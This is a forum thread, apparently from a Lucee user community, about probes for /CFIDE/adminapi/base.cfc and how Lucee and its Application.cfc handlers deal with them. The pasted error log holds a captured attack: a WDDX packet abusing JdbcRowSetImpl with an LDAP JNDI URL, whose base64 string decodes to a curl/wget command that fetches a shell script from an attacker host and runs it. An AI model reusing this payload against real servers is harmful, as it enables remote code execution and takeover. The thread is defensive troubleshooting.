Like most web sites, mine is often hit with attacks probing for vulnerabilities. Normally these result in 404 errors.
Recently I have had some try and load /CFIDE/adminapi/base.cfc
There is no such folder and when I try that folder, I get a custom 404 error page and no Lucee error. However, I have also caught this Lucee error when the attacker at 213.109.147.242 loaded the page.
lucee.runtime.interpreter.InterpreterException: Syntax Error, Invalid Construct at line [1] / column [1] / position [1] in the JSON 1: <wddxPacket version='1.0'><header/><data><struct type='Ecom.sun.rowset.JdbcRowSetImplE'><var name='dataSourceName'><string>ldap://166.108.229.166:8089/CommonsBeanutils1/base64/KGN1cmwgLXNTZmsgaHR0cDovLzE2Ni4xMDguMjI5LjE2Njo4MDg4L3NlcnZpY2Uuc2ggfHwgd2dldCAtcSAtTy0gaHR0cDovLzE2Ni4xMDguMjI5LjE2Njo4MDg4L3NlcnZpY2Uuc2gpIHwgc2g=</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket> ^ at lucee.runtime.interpreter.CFMLExpressionInterpreter.createSyntaxException(CFMLExpressionInterpreter.java:285)
My question is, how can Lucee have an error on a non-existent page, and is this a Lucee vulnerability?
OS: Windows Server 2025 Java Version: 21.0.6 Tomcat Version: 9.0.104 Lucee Version: 6.2.0.321
Do you expose any CFCs to the public? If not, you may want to consider using web server or WAF rules to explicitly block access or any bogus request for a non-existent CFC will return an error message and potentially expose sensitive information (paths, internal IPs, etc.)
that approach is only needed if you are overriding the default behaviour?
I did some investigation about this, Lucee could be returning better http status codes here, but there is no vulnerability here, just some error logging.
The only the chance of revealing information about your server, if you don’t have error handling / error template in place?
it’s no effectively no different than the exception calling the path to a missing .cfm file, it’s just that remote cfc’s support argumentCollection and Lucee only supports json, where as ACF also supports WDDX (which led to several of their CVEs over the years, Lucee’s WDDX support is much leaner than ACF and not vulnerable)
component {
this.name = "ldev5530";
function onCFCRequest(){
// no op
}
function onError(){
echo("oops");
}
}
Depending on how you have your site setup, you could use Tomcat or apache to filter these requests, or you can use some bit of code like this for the OnRequestStart
I already had code in the onRequest function that included limiting access to “include” type templates, certain paths, and non-existent files, that would result in a custom 404 error. This is why I was surprised to see an error in a non-existent file. It seems that the cfc didn’t trigger the onRequest function, but the onCFCRequest function.